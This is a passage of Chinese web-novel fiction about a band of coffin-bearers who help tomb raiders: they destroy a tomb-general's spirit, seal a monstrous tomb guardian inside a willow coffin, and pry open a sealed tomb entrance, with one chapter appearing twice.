七人的气机不再向上硬顶,而是以一种玄奥的轨迹飞速旋转,交织成一个高速转动的、边缘闪烁着金色利刃的巨大磨盘!
磨盘之下,正是那疯狂喷涌的地煞阴泉!
滋啦——!
精纯的阴气撞上旋转的阳气磨盘,不再是水入油锅,而是两块高速转动的砂轮在疯狂对磨!
黑色的阴煞与金色的阳炎疯狂碰撞、湮灭,爆发出无数细碎的黑白电弧,形成了一片绝对的、混乱的能量真空地带!
山谷中的一切,干尸、碎石、草木,在这能量风暴的席卷下,瞬间化为最原始的粒子。
而悬于风暴正上方的青铜棺,则发出了一声源于灵魂深处的痛苦哀鸣。
它与山川地脉的联系,被这混乱的阴阳能量场,硬生生切断了!
它被……拔掉了根!
那股无穷无尽的力量,戛然而止。
青铜棺的重量,骤然一轻!
“成了!”猴子等人脸上刚刚露出一丝狂喜。
陈义冰冷的声音便劈头盖脸地砸下:“都别分心!好戏,才**刚刚开始!”
话音未落,那口变轻的青铜棺,突然以一种前所未有的幅度,疯狂地左右摇摆、上下颠簸!
砰!砰!砰!
棺材里的地煞将军,在被切断力量来源后,彻底陷入了癫狂。
它不再是冲撞,而是在棺材里疯狂地翻滚、跳跃,像一头被关在铁盒里的疯牛!
七人只觉得一股股毫无规律的巨力从杠木上传来,震得他们五脏六腑都错了位。
“稳住!都给老子稳住!”
陈义额角青筋坟起,死死盯着那口在惊涛骇浪中颠簸的棺材。
“它想翻棺!”
抬棺匠有铁律,棺材不落地,阳气不散。
但更要命的规矩是——棺材不能翻!
棺为死者阳宅,一旦翻覆,即为屋顶朝下,门户洞开,棺中之魂,便可趁机脱出!
这地煞将军,打不破棺材,就想把棺材给掀翻!
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>“义哥!扛不住了!这玩意儿……它在里头打王八拳呢!”胖三的脸已成紫酱色,他感觉自己随时都会被从杠木上甩飞出去。
就在此时,异变再生!
那地煞将军似乎也意识到单纯的摇晃无法脱困,它猛地停止了颠簸,将所有力量汇于一点,狠狠地撞向了棺材盖!
轰!
一声巨响,那厚重无比的青铜棺盖,竟被硬生生顶起了一道指头宽的缝隙!
一股凝如实质的黑色煞气,夹杂着金戈铁马的咆哮,从缝隙中狂涌而出!
地煞将军,即将脱困!
所有人的心,都在这一刻沉入了无底深渊。
然而,陈义却笑了。
那是一种猎人看到猎物终于踩进陷阱的,冰冷而满足的笑。
“等的就是你开盖!”
他对着那道缝隙,发出一声震彻山谷的龙吟!
“义字堂听令!换阵!”
“乾坤倒转,阴阳逆行!”
“给老子——磨!”
随着陈义最后一个字吼出,那高速旋转的“阴阳大磨盘”猛地一滞,随即以一种更加狂暴的速度,反向旋转!
一股恐怖到极致的吸力,从磨盘中心轰然爆发!
那刚刚从棺材缝隙中探出头来的黑色煞气,连同那地煞将军的魂体,根本来不及做出任何反应,就被这股无法抗拒的吸力猛地扯出!
它不是脱困!
它是被强行拖拽进了……那座由纯阳之气和地煞阴泉构成的,正在疯狂对磨的,天地大磨盘之中!
“不——!”
一声凄厉到不似人声的惨嚎,响彻天地。
那是地煞将军最后的悲鸣。
它的魂体,在阴阳磨盘的疯狂绞杀下,被一寸寸地碾碎、消融、化为最精纯的无主能量,然后被磨盘下方的地脉贪婪地吸收。
陈义,根本就没想过要跟它硬碰硬。
他打穿地煞阴泉,布下阴阳磨盘,逼它翻棺,诱它开盖……
从一开始,他就在设一个局。
一个请君入瓮,磨魂炼魄的必杀之局!
他抬的不是棺。
是刑场!
第113章 义字堂规矩:凶兽,请入棺!
队伍在崎岖的山路中穿行,气氛压抑得能让活人窒息。
走在最前面的摸金校尉们,此刻将毕生所学都用了出来,不是为了寻宝,纯粹是为了活命。
洛阳铲探路的轻微摩擦声,罗盘指针的细碎转动声,成了这片死寂山林里唯一的动静。
张三爷亲自带队,一张脸铁青,腮帮的肌肉绷成硬块。
他纵横墓道几十载,从未像今天这般憋屈过。
这哪里是寻龙探穴,分明是给后面那八尊活阎王当**趟雷的。
“三爷,前面有情况!”一个尖嘴猴腮的摸金校尉压着嗓子,指向前方一片看似正常的林地。
“土不对劲,太松了,下面是空的!”
张三爷快步上前,用脚尖捻了捻地上的泥土,凑到鼻下闻了闻,脸色骤变。
“是‘流沙坑’!”
他啐了一口,“**,这墓主人够歹毒,在必经之路上设这种绝户陷阱!”
流沙坑,古墓机关里最阴损的一种,一旦误入,神仙难救,只会被沙土活活灌死。
“绕不过去?”张三爷问。
“绕不过去。”那校尉摇头,“两边都是绝壁,这是唯一的路。这流沙坑范围太大,没法搭桥。”
张三爷的脸色更加难看。
他回头,看了一眼棺材旁那个面无表情的年轻人,只能硬着头皮走上前,挤出笑脸。
“陈八爷,前面……是流沙坑,怕是过不去了。”
他本以为陈义会让他们想办法,或者至少会停下来商议。
谁知,陈义连眼皮都未曾抬一下,只是从唇间淡漠地吐出两个字。
“踏过去。”
“什么?”张三爷的耳朵嗡的一声,以为自己听错了,“陈八爷,那可是流沙坑!一脚下去就没命了!”
陈义终于瞥了他一眼,那眼神,像是在看一个不通人事的傻子。
“我让你的人踏过去了吗?”
“我是说,我们踏过去。”
话音落下,他不再理会目瞪口呆的张三爷,对着身后的兄弟们低喝一声。
“换阵!”
“七星锁玉衡,踏雪不留痕!”
扛着青铜巨棺的八人,脚下步法陡然一变。
他们的步伐变得轻盈而飘忽,每一步落下,都精准地踩在某个外人无法理解的奇异节点上。
八个人的体重,连同那口万钧之重的青铜棺,在这一刻,似乎被一股无形之力均摊到了整片广袤的大地之上。
然后,在所有摸金校尉圆睁的双眼中,陈义带领着队伍,就那么一步一步,稳稳地……踏上了那片死亡流沙!
他们的脚下,松软的沙土只是微微下陷,荡开一圈圈肉眼可见的涟漪。
那足以吞噬一切的死亡陷阱,却根本无法将他们吞没分毫。
他们扛着那口巨大的青铜棺,如履平地。
闲庭信步。
从流沙坑的这一头,走到了另一头。
整个过程,安静得诡异。
当义字堂八人走过流沙坑,重新踏上坚实的土地时,张三爷和他的一众手下,还傻傻地愣在原地,嘴巴张得能塞进一个拳头,半天都合不拢。
这……
这他妈又是什么神仙手段?
扛着一座山,还能在沙子上跳舞?
张三爷感觉自己几十年来建立的世界观,在这一晚上,被对方按在地上,用鞋底反复碾过,已经碎得连渣都不剩了。
“还愣着干什么?”
陈义不耐烦的声音传来,“等我请你们吃饭吗?”
张三爷一个激灵,连忙带着人,手忙脚乱地用绳索和飞爪,费了九牛二虎之力,才狼狈不堪地从峭壁边缘荡了过来。
经过这一出,摸金门的人再看义字堂的眼神,已经彻底变了。
那不再是单纯的恐惧。
而是带上了一种仰望神明般的敬畏。
接下来的路,出奇的顺利。
在张三爷这帮专业的“探路先锋”面前,毒虫瘴气、穿心**箭、滚石陷坑,都被一一提前化解。
而义字堂这八个人,则像是真正的仪仗队。
他们沉默地跟在后面,扛着那口不断发出“咚咚”撞击声的棺材,一步步逼近那座悬棺墓的真正入口。
终于,在天色将明之际,队伍来到了一处巨大的山壁前。
山壁中央,是一个巨大的人工开凿的洞口。
洞口黑得不见底,像一道通往幽冥的裂口,不断向外吹着能冻结魂魄的阴风。
洞口上方,用古老的篆体,刻着四个杀气腾腾的大字——
“擅入者死!”
“到了。”张三爷的声音有些干涩,“这里就是主墓室的入口。”
陈义抬起头,看了一眼那四个字,又感受了一下从洞口吹出的阴风,眼神微微一凝。
他能感觉到,这洞穴深处,除了那地煞将军的煞气,还盘踞着一股更加古老、更加阴晦的力量。
“张三爷,你确定,这里面除了那口棺材,没有别的东西了?”陈义问道。
“这个……”张三爷的眼神有些闪烁,“根据祖上传下的舆图,冠军侯生性多疑暴虐,墓里除了他自己,应该不会允许有别的东西陪葬。可能……可能是一些镇墓的邪物吧。”
陈义冷笑一声,没有再追问。
他知道,这张三爷肯定还瞒了什么。
不过,无所谓了。
他转头对胖三道:“胖三,换家伙。”
“啊?换什么家伙?”胖三一愣。
“把‘百年柳木迎宾棺’请出来。”陈义淡淡道。
胖三的脸,“唰”一下就白了。
迎宾棺?
在这种地方请迎宾棺出来干什么?
难道……
他不敢再想下去,连忙招呼猴子和老七,从随身携带的巨大行囊中,抬出了一口通体漆黑、散发着淡淡柳木香气的棺材。
正是义字堂那口专门用来“迎宾”的百年柳木棺!
“陈八爷,您这是……”张三爷不解地问。
“这洞里,不干净。”
陈义的目光幽深,穿透黑暗,望向洞穴深处,“有东西,等不及要出来迎接咱们这位侯爷了。”
他话音刚落。
那漆黑的洞口深处,突然传来一阵“悉悉索索”的密集声响。
那声音,像无数条蛇在地上爬行,又像无数只虫子在啃噬骨头,听得人头皮一阵阵发麻。
紧接着,两点猩红的光芒,在黑暗的最深处,猛地亮起!
那是一双比红灯笼还要巨大的眼睛!
一股暴虐、贪婪,充满了无尽饥饿感的意志,瞬间锁定了在场的所有活人。
“是……是镇墓兽!”一个年轻的摸金校尉吓得声音都变了调,“是传说中以怨气和尸骸为食的‘九幽獴’!”
一个庞大的黑影,缓缓从黑暗中走了出来。
那是一头体型堪比巨象的怪物,狮身,鳄首,浑身覆盖着铁甲般的黑色鳞片,背后还拖着一条长满了骨刺的蝎尾。
它身上缠绕着浓郁得化不开的黑气,每走一步,地面都会被腐蚀出一串黑色的脚印。
它血盆大口中,正不断滴落下腥臭的涎水,落在地上,“嗤嗤”作响,冒起一缕缕白烟。
这头怪物,显然是被青铜棺里地煞将军的煞气吸引而来。
但它此刻的目标,却是陈义这些气血旺盛的活人。
在它看来,这些都是送上门的美食!
“吼!”
九幽獴发出一声震耳欲聋的咆哮,腥风扑面,吹得人站立不稳。
摸金校尉们吓得屁滚尿流,纷纷举起了手中的黑驴蹄子、糯米,甚至还有人掏出了**。
“别开枪!”张三爷厉声喝止,“对付这种邪物,**没用!”
然而,晚了。
一个胆小的校尉已经扣动了**。<
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br>“哒哒哒!”
火舌喷吐,**暴雨般倾泻在九幽獴的身上。
那些**打在它漆黑的鳞甲上,只爆起一串串火星,连一道白印都没能留下。
这一下,彻底激怒了这头凶兽。
它那双猩红的巨眼瞬间锁定了开枪的那个校尉,后腿一蹬,庞大的身躯化作一道黑色闪电,猛地扑了过去!
那校尉吓得魂飞魄散,连躲闪都忘了。
眼看他就要命丧兽口。
一道更加魁梧的身影,横空出现在他面前。
是扛着迎宾棺的大牛!
“滚开!”
大牛将肩上的迎宾棺往地上一顿,发出一声沉闷巨响。他双臂肌肉坟起,竟硬生生地将那口数百斤重的柳木棺,当成了盾牌,横挡在身前!
“砰!”
九幽獴那巨大的头颅,狠狠地撞在了迎宾棺上。
出人意料的一幕发生了。
迎宾棺,纹丝不动。
反倒是那九幽獴,发出一声痛苦的哀嚎,庞大的身躯被一股无形的力量震得倒飞了出去,在地上滚了好几圈才停下。
它那坚硬无比的头颅上,竟然出现了一道清晰的凹痕,黑色的血液从中汩汩流出。
所有人都看呆了。
这口看似普通的木头棺材,竟然比那怪物的脑袋还硬?
只有陈义知道,这迎宾棺,由百年柳木打造,经义字堂历代祖师爷阳气滋养,又装过无数凶煞之物,本身就是一件威力无穷的法器,专克阴邪。
“还愣着干什么?”陈义的声音打破了寂静。
“胖三,开棺,迎客!”
“得嘞!”
胖三应了一声,脸上虽然还带着惧意,但动作却麻利无比。他一个箭步冲到迎宾棺前,双手抓住棺盖的边缘,用尽全身的力气,猛地向后一拉!
“吱呀——”
刺耳的摩擦声中,迎宾棺的棺盖,被缓缓拉开。
一股纯粹到极致的阳刚之气,从棺材内部喷薄而出,如同烈日当空,照得那九幽獴身上的黑气都消融了几分。
更可怕的是,从那黑洞洞的棺口中,传来了一股强大无比的吸力!
那吸力,仿佛一个饥饿了千年的黑洞,要将世间万物都吞噬进去!
九幽獴那庞大的身躯,在这股吸力面前,竟然有些站立不稳,开始一步步地向着棺材滑去。
它那双猩红的巨眼中,第一次露出了恐惧。
它发出一声声凄厉的哀嚎,四肢死死地扒住地面,想要抵抗那股吸力。
然而,一切都是徒劳。
“进去吧你!”
胖三嘿嘿一笑,猛地抬起一脚,狠狠地踹在了九幽獴的屁股上。
“吼——!”
九幽獴发出一声绝望的咆哮,庞大的身躯再也无法抵抗,被那股恐怖的吸力猛地一扯,化作一道黑光,瞬间被吸进了那口看起来并不算大的迎宾棺之中。
当它整个身躯都没入棺材的瞬间,胖三眼疾手快,猛地将棺盖合上。
“哐当!”
一声巨响,世界清静了。
那震耳欲聋的咆哮,那令人作呕的腥风,那暴虐贪婪的意志,全都消失得无影无踪。
洞口前,只剩下一口安安静静的黑色柳木棺。
如果不是地上还残留着那怪物的黑色血迹和腐蚀的痕迹,众人几乎要以为,刚才发生的一切,都只是一场噩梦。
“收……收了?”一个摸金校尉结结巴巴地问。
“一头堪比尸王的镇墓兽……就这么……被一口棺材给收了?”
张三爷看着那口平平无奇的柳木棺,又看了看一脸轻松的胖三,只觉得自己的喉咙干得快要冒烟。
他现在终于明白,陈义为什么让他把迎宾棺请出来了。
感情这玩意儿,不是用来装**的。
是用来装……怪物的!
义字堂,这帮人,到底是什么来头啊!
第113章 义字堂规矩:凶兽,请入棺!
队伍在崎岖的山路中穿行,气氛压抑得能让活人窒息。
走在最前面的摸金校尉们,此刻将毕生所学都用了出来,不是为了寻宝,纯粹是为了活命。
洛阳铲探路的轻微摩擦声,罗盘指针的细碎转动声,成了这片死寂山林里唯一的动静。
张三爷亲自带队,一张脸铁青,腮帮的肌肉绷成硬块。
他纵横墓道几十载,从未像今天这般憋屈过。
这哪里是寻龙探穴,分明是给后面那八尊活阎王当**趟雷的。
“三爷,前面有情况!”一个尖嘴猴腮的摸金校尉压着嗓子,指向前方一片看似正常的林地。
“土不对劲,太松了,下面是空的!”
张三爷快步上前,用脚尖捻了捻地上的泥土,凑到鼻下闻了闻,脸色骤变。
“是‘流沙坑’!”
他啐了一口,“**,这墓主人够歹毒,在必经之路上设这种绝户陷阱!”
流沙坑,古墓机关里最阴损的一种,一旦误入,神仙难救,只会被沙土活活灌死。
“绕不过去?”张三爷问。
“绕不过去。”那校尉摇头,“两边都是绝壁,这是唯一的路。这流沙坑范围太大,没法搭桥。”
张三爷的脸色更加难看。
他回头,看了一眼棺材旁那个面无表情的年轻人,只能硬着头皮走上前,挤出笑脸。
“陈八爷,前面……是流沙坑,怕是过不去了。”
他本以为陈义会让他们想办法,或者至少会停下来商议。
谁知,陈义连眼皮都未曾抬一下,只是从唇间淡漠地吐出两个字。
“踏过去。”
“什么?”张三爷的耳朵嗡的一声,以为自己听错了,“陈八爷,那可是流沙坑!一脚下去就没命了!”
陈义终于瞥了他一眼,那眼神,像是在看一个不通人事的傻子。
“我让你的人踏过去了吗?”
“我是说,我们踏过去。”
话音落下,他不再理会目瞪口呆的张三爷,对着身后的兄弟们低喝一声。
“换阵!”
“七星锁玉衡,踏雪不留痕!”
扛着青铜巨棺的八人,脚下步法陡然一变。
他们的步伐变得轻盈而飘忽,每一步落下,都精准地踩在某个外人无法理解的奇异节点上。
八个人的体重,连同那口万钧之重的青铜棺,在这一刻,似乎被一股无形之力均摊到了整片广袤的大地之上。
然后,在所有摸金校尉圆睁的双眼中,陈义带领着队伍,就那么一步一步,稳稳地……踏上了那片死亡流沙!
他们的脚下,松软的沙土只是微微下陷,荡开一圈圈肉眼可见的涟漪。
那足以吞噬一切的死亡陷阱,却根本无法将他们吞没分毫。
他们扛着那口巨大的青铜棺,如履平地。
闲庭信步。
从流沙坑的这一头,走到了另一头。
整个过程,安静得诡异。
当义字堂八人走过流沙坑,重新踏上坚实的土地时,张三爷和他的一众手下,还傻傻地愣在原地,嘴巴张得能塞进一个拳头,半天都合不拢。
这……
这他妈又是什么神仙手段?
扛着一座山,还能在沙子上跳舞?
张三爷感觉自己几十年来建立的世界观,在这一晚上,被对方按在地上,用鞋底反复碾过,已经碎得连渣都不剩了。
“还愣着干什么?”
陈义不耐烦的声音传来,“等我请你们吃饭吗?”
张三爷一个激灵,连忙带着人,手忙脚乱地用绳索和飞爪,费了九牛二虎之力,才狼狈不堪地从峭壁边缘荡了过来。
经过这一出,摸金门的人再看义字堂的眼神,已经彻底变了。
那不再是单纯的恐惧。
而是带上了一种仰望神明般的敬畏。
接下来的路,出奇的顺利。
在张三爷这帮专业的“探路先锋”面前,毒虫瘴气、穿心**箭、滚石陷坑,都被一一提前化解。
而义字堂这八个人,则像是真正的仪仗队。
他们沉默地跟在后面,扛着那口不断发出“咚咚”撞击声的棺材,一步步逼近那座悬棺墓的真正入口。
终于,在天色将明之际,队伍来到了一处巨大的山壁前。
山壁中央,是一个巨大的人工开凿的洞口。
洞口黑得不见底,像一道通往幽冥的裂口,不断向外吹着能冻结魂魄的阴风。
洞口上方,用古老的篆体,刻着四个杀气腾腾的大字——
“擅入者死!”
“到了。”张三爷的声音有些干涩,“这里就是主墓室的入口。”
陈义抬起头,看了一眼那四个字,又感受了一下从洞口吹出的阴风,眼神微微一凝。
他能感觉到,这洞穴深处,除了那地煞将军的煞气,还盘踞着一股更加古老、更加阴晦的力量。
“张三爷,你确定,这里面除了那口棺材,没有别的东西了?”陈义问道。
“这个……”张三爷的眼神有些闪烁,“根据祖上传下的舆图,冠军侯生性多疑暴虐,墓里除了他自己,应该不会允许有别的东西陪葬。可能……可能是一些镇墓的邪物吧。”
陈义冷笑一声,没有再追问。
他知道,这张三爷肯定还瞒了什么。
不过,无所谓了。
他转头对胖三道:“胖三,换家伙。”
“啊?换什么家伙?”胖三一愣。
“把‘百年柳木迎宾棺’请出来。”陈义淡淡道。
胖三的脸,“唰”一下就白了。
迎宾棺?
在这种地方请迎宾棺出来干什么?
难道……
他不敢再想下去,连忙招呼猴子和老七,从随身携带的巨大行囊中,抬出了一口通体漆黑、散发着淡淡柳木香气的棺材。
正是义字堂那口专门用来“迎宾”的百年柳木棺!
“陈八爷,您这是……”张三爷不解地问。
“这洞里,不干净。”
陈义的目光幽深,穿透黑暗,望向洞穴深处,“有东西,等不及要出来迎接咱们这位侯爷了。”
他话音刚落。
那漆黑的洞口深处,突然传来一阵“悉悉索索”的密集声响。
那声音,像无数条蛇在地上爬行,又像无数只虫子在啃噬骨头,听得人头皮一阵阵发麻。
紧接着,两点猩红的光芒,在黑暗的最深处,猛地亮起!
那是一双比红灯笼还要巨大的眼睛!
一股暴虐、贪婪,充满了无尽饥饿感的意志,瞬间锁定了在场的所有活人。
“是……是镇墓兽!”一个年轻的摸金校尉吓得声音都变了调,“是传说中以怨气和尸骸为食的‘九幽獴’!”
一个庞大的黑影,缓缓从黑暗中走了出来。
那是一头体型堪比巨象的怪物,狮身,鳄首,浑身覆盖着铁甲般的黑色鳞片,背后还拖着一条长满了骨刺的蝎尾。
它身上缠绕着浓郁得化不开的黑气,每走一步,地面都会被腐蚀出一串黑色的脚印。
它血盆大口中,正不断滴落下腥臭的涎水,落在地上,“嗤嗤”作响,冒起一缕缕白烟。
这头怪物,显然是被青铜棺里地煞将军的煞气吸引而来。
但它此刻的目标,却是陈义这些气血旺盛的活人。
在它看来,这些都是送上门的美食!
“吼!”
九幽獴发出一声震耳欲聋的咆哮,腥风扑面,吹得人站立不稳。
摸金校尉们吓得屁滚尿流,纷纷举起了手中的黑驴蹄子、糯米,甚至还有人掏出了**。
“别开枪!”张三爷厉声喝止,“对付这种邪物,**没用!”
然而,晚了。
一个胆小的校尉已经扣动了**。<
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火舌喷吐,**暴雨般倾泻在九幽獴的身上。
那些**打在它漆黑的鳞甲上,只爆起一串串火星,连一道白印都没能留下。
这一下,彻底激怒了这头凶兽。
它那双猩红的巨眼瞬间锁定了开枪的那个校尉,后腿一蹬,庞大的身躯化作一道黑色闪电,猛地扑了过去!
那校尉吓得魂飞魄散,连躲闪都忘了。
眼看他就要命丧兽口。
一道更加魁梧的身影,横空出现在他面前。
是扛着迎宾棺的大牛!
“滚开!”
大牛将肩上的迎宾棺往地上一顿,发出一声沉闷巨响。他双臂肌肉坟起,竟硬生生地将那口数百斤重的柳木棺,当成了盾牌,横挡在身前!
“砰!”
九幽獴那巨大的头颅,狠狠地撞在了迎宾棺上。
出人意料的一幕发生了。
迎宾棺,纹丝不动。
反倒是那九幽獴,发出一声痛苦的哀嚎,庞大的身躯被一股无形的力量震得倒飞了出去,在地上滚了好几圈才停下。
它那坚硬无比的头颅上,竟然出现了一道清晰的凹痕,黑色的血液从中汩汩流出。
所有人都看呆了。
这口看似普通的木头棺材,竟然比那怪物的脑袋还硬?
只有陈义知道,这迎宾棺,由百年柳木打造,经义字堂历代祖师爷阳气滋养,又装过无数凶煞之物,本身就是一件威力无穷的法器,专克阴邪。
“还愣着干什么?”陈义的声音打破了寂静。
“胖三,开棺,迎客!”
“得嘞!”
胖三应了一声,脸上虽然还带着惧意,但动作却麻利无比。他一个箭步冲到迎宾棺前,双手抓住棺盖的边缘,用尽全身的力气,猛地向后一拉!
“吱呀——”
刺耳的摩擦声中,迎宾棺的棺盖,被缓缓拉开。
一股纯粹到极致的阳刚之气,从棺材内部喷薄而出,如同烈日当空,照得那九幽獴身上的黑气都消融了几分。
更可怕的是,从那黑洞洞的棺口中,传来了一股强大无比的吸力!
那吸力,仿佛一个饥饿了千年的黑洞,要将世间万物都吞噬进去!
九幽獴那庞大的身躯,在这股吸力面前,竟然有些站立不稳,开始一步步地向着棺材滑去。
它那双猩红的巨眼中,第一次露出了恐惧。
它发出一声声凄厉的哀嚎,四肢死死地扒住地面,想要抵抗那股吸力。
然而,一切都是徒劳。
“进去吧你!”
胖三嘿嘿一笑,猛地抬起一脚,狠狠地踹在了九幽獴的屁股上。
“吼——!”
九幽獴发出一声绝望的咆哮,庞大的身躯再也无法抵抗,被那股恐怖的吸力猛地一扯,化作一道黑光,瞬间被吸进了那口看起来并不算大的迎宾棺之中。
当它整个身躯都没入棺材的瞬间,胖三眼疾手快,猛地将棺盖合上。
“哐当!”
一声巨响,世界清静了。
那震耳欲聋的咆哮,那令人作呕的腥风,那暴虐贪婪的意志,全都消失得无影无踪。
洞口前,只剩下一口安安静静的黑色柳木棺。
如果不是地上还残留着那怪物的黑色血迹和腐蚀的痕迹,众人几乎要以为,刚才发生的一切,都只是一场噩梦。
“收……收了?”一个摸金校尉结结巴巴地问。
“一头堪比尸王的镇墓兽……就这么……被一口棺材给收了?”
张三爷看着那口平平无奇的柳木棺,又看了看一脸轻松的胖三,只觉得自己的喉咙干得快要冒烟。
他现在终于明白,陈义为什么让他把迎宾棺请出来了。
感情这玩意儿,不是用来装**的。
是用来装……怪物的!
义字堂,这帮人,到底是什么来头啊!
第114章 一杠破阴阳!
洞口前,是死一般的寂静。
那头凶悍绝伦的九幽獴,连一丝挣扎的声响都没能从迎宾棺里传出,就这么被“笑纳”了。
张三爷和他手下的一众摸金校尉,像是被集体施了定身术,一个个僵在原地,喉结艰难地滚动,却发不出半点声音。
他们死死盯着那口平平无奇的柳木棺,眼神里已经不是恐惧,而是一种发自灵魂深处的战栗。
盗墓几十年,什么凶险的粽子、诡异的邪物没见过?
可谁见过这般不讲道理的?
一言不合,直接用口棺材给你收了!
这**,是抬棺匠还是神仙下凡?
胖三“哐当”一声合上棺盖,拍了拍手上的灰,回头冲着张三爷咧嘴一笑,露出一口白牙。
“张三爷,路,清净了。”
“您前面请?”
这一笑,在张三爷看来,比刚才那九幽獴的血盆大口还要瘆人。
他只觉得两股战战,一股凉气从尾椎骨直冲天灵盖。
“请……请……”张三爷嗓音嘶哑,字句都像是从喉咙里硬挤出来的。
他现在终于彻底明白,自己**老七,究竟是请来了一群帮手,还是引来了一伙祖宗。
陈义根本没理会他们的小心思,目光始终锁定在那个深不见底的洞口。
“这门,怎么进?”他淡淡地问。
张三爷一个激灵,连忙收敛心神,快步上前,从怀里摸出一个巴掌大小、通体泛着青铜色泽的罗盘。
这罗盘与寻常风水罗盘不同,天心十道上并非天干地支,而是密密麻麻的古篆符文,指针更是一根形如龙爪的磁针。
“回八爷的话,此乃‘阴阳两界门’。”
张三爷的态度恭敬到了极点,再无半分先前的倨傲。
“墓主人以山为椁,以地为棺,这入口,便是棺椁的‘气口’。”
“一为生,一为死。”
“生门不开,死门难入,必须同时从内外两处‘气眼’发力,方能开启。”
他一边说,一边催动罗盘,那龙爪指针疯狂旋转,最终“嗡”的一声,指向了洞口左侧三尺高的一处岩壁。
那里看起来与周围的山石并无二致。
“此处,便是‘生门’所在。”
张三爷指着那处岩壁,又看向洞口右侧对称的位置。
“而另一处,便是‘死门’。我的人,可以找到生门的发力点,用‘穿山破甲锥’撬动其机括。但死门……死门乃纯阴汇聚之所,我们的法子一概无用,任何阳气触碰,都会被瞬间吸干,强行破门,只会引得山体崩塌。”
说到这里,他小心翼翼地看了陈义一眼。
意思很明显,他们摸金门负责技术活,这硬骨头,得你们义字堂来啃。
陈义面无表情,似乎早就料到如此。
摸金的手段,在于“巧”,在于“卸”,讲究的是顺势而为,避开锋芒。
而他们抬棺匠的本事,在于“镇”,在于“闯”,凭的是一口阳气,一身规矩,硬撼神鬼。
“需要多久?”陈义问。
“一炷香!”张三爷立刻回答,“我需要一炷香的时间,找到生门的‘龙牙’,只要龙牙一动,八爷您那边就可以同时发力!”
“不必。”
陈义吐出两个字,让张三爷当场愣住。
“什么?”
“我说,不必那么麻烦。”
陈义的语气平淡得像是在说一件微不足道的小事。
“你的人,只需要告诉我,死门的发力点,在哪里。”
张三爷的瞳孔猛地一缩。
这陈八爷的意思是……他要一个人,破开这由整座山脉的阴气镇守的死门?
“八爷,这万万不可!”张三-爷急了,“这死门与地脉阴气相连,其力何止万钧!您……”
“你的罗盘,指给我看。”陈义打断了他,语气不容置疑。
张三爷看着陈义那双古井无波的眼睛,后面的话全都堵在了喉咙里。
他知道,自己再劝,就是自取其辱。
他咬了咬牙,重新催动罗盘,那龙爪指针调转方向,颤巍巍地指向了洞口右侧,一块同样不起眼的岩石。
“就是那里。”
陈义点了点头,扛着那根始终不离身的乌木杠木,一步步走了过去。
他身后,胖三、大牛、猴子等人默契地散开,隐隐将还在发抖的摸金校尉们围在中间,眼神不善。
那意思很明白,我们八爷办事,谁敢出声打扰,后果自负。
陈义站在那块被罗盘指出的“死门”岩石前,甚至没有去仔细观察,只是伸出左手,轻轻按在了冰冷的石面上。
一瞬间,一股能冻结骨髓的阴寒之气,顺着他的手臂疯狂涌入。
寻常人若是这么一碰,不出三个呼吸,就会被吸成人干。
然而,这股阴气刚一进入陈义体内,他胸口的【炎黄令】便陡然一热,一缕微不可察的紫金龙气流转而出,如烈火烹油,瞬间便将那股阴气焚烧得一干二净。
“有点意思。”陈义轻声自语。
他能感觉到,这岩石背后,连接着一个庞大而深沉的阴气循环,就像是整座山的呼吸。
这哪里是什么门,这分明就是一头沉睡巨兽的鼻孔。
他收回手,后退两步,将肩上的乌木杠木缓缓取下,双手握住。
“张三爷。”他头也不回地喊道。
“在!八爷您吩咐!”张三爷赶忙应声。
“看好了。”
陈义的声音很轻。
“我义字堂的规矩,天下没有抬不动的棺,自然,也就没有进不去的坟。”
话音落下,他猛地吸了一口气。
这一口气,吸得风云变色!
周围的空气仿佛被抽空,形成一个无形的旋涡,疯狂地涌入他的胸腔。
他整个人的气势在这一刻无限拔高。
他明明身形未变,落在众人眼中,却似撑开了天地,化作了一尊俯瞰苍生的神祇!
他身后的七个兄弟,仿佛受到了某种感召,同时挺直了腰杆。
八股气息在这一刻,通过某种玄妙的联系,拧成了一股!
“八仙抬棺……”
陈义口中,缓缓吐出四个字。
“借力——打力!”
他手中的乌木杠木,不再是一根普通的木头。
它通体亮起一层淡淡的金色光晕,杠木的末端,仿佛出现了一个无形的支点,撬动的,不是一块岩石,而是这整片天地的规则!
“给我——开!”
一声暴喝,如同九天惊雷!
陈义双臂肌肉贲张,腰背如龙,将全身乃至身后七兄弟汇聚而来的力量,毫无保留地灌注进这根乌木杠木之中,狠狠地,朝着那块“死门”岩石,猛地一撬!
这一撬,没有发出惊天动地的巨响。
只有一声轻微的,仿佛什么东西裂开的“咔嚓”声。
紧接着,在张三爷等人骇然欲绝的目光中,那块重逾千钧的“死门”岩石,连带着它周围一大片山壁,竟然像是被一只
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无形的大手凭空掀开的积木,无声无息地,向内翻转、打开!
与此同时,另一侧的“生门”,也发出一阵“嘎吱嘎吱”的机械转动声,同样向内开启。
一个巨大、幽深、散发着浓郁腐朽气息的墓道入口,就这么呈现在了所有人面前。
一力破万法!
张三爷的脑子里,只剩下这五个字。
他们摸金门耗费心血,需要各种法器、符咒、香烛,小心翼翼才能打开的“阴阳两界门”,对方,只用了一根木头,一撬。
就这么简单。
这么……粗暴。
他看着那个扛着杠木,重新恢复了平静的年轻人,只觉得一股寒意从心底冒起,比这墓穴里的阴风还要冷。
这已经不是“术”的范畴了。
这是“道”。
是凌驾于所有规矩之上的,属于他自己的,霸道!
“还愣着?”陈义瞥了他们一眼,“你们摸金门,不是讲究‘鸡鸣灯灭不摸金’吗?再耽搁下去,天可就要亮了。”
张三爷浑身一颤,如梦初醒,连忙带着哭腔道:“走!这就走!八爷您先请!”
陈义冷哼一声,扛着青铜巨棺,第一个迈步走进了那漆黑的墓道。
胖三经过张三爷身边时,故意挺了挺胸膛,用只有两个人能听到的声音,得意洋洋地小声道:“看见没?我们杠头的‘家伙’,可比你们那些叮叮当当的破烂玩意儿,好使多了。”
张三爷的脸一阵红一阵白,最后只能挤出一个比哭还难看的笑容,带着手下,扛着那口装了九幽獴的迎宾棺,如同斗败的公鸡,垂头丧气地跟了进去。
墓道很长,两壁雕刻着繁复的壁画,描绘着墓主人征战沙场、封侯拜将的生平。
但此刻没人有心思欣赏,所有人的心都提到了嗓子眼。
义字堂八人扛着青铜棺,步伐沉稳,杠木随着他们的脚步一起一伏,发出“吱呀、吱呀”的轻响。
而那口青铜棺内,“咚咚”的撞击声,也从未停止,像一颗巨大的心脏,在这死寂的墓道中,诡异地跳动着。
走了约莫一炷香的功夫,前方豁然开朗。
一个超乎所有人想象的巨大地下空间,出现在眼前。
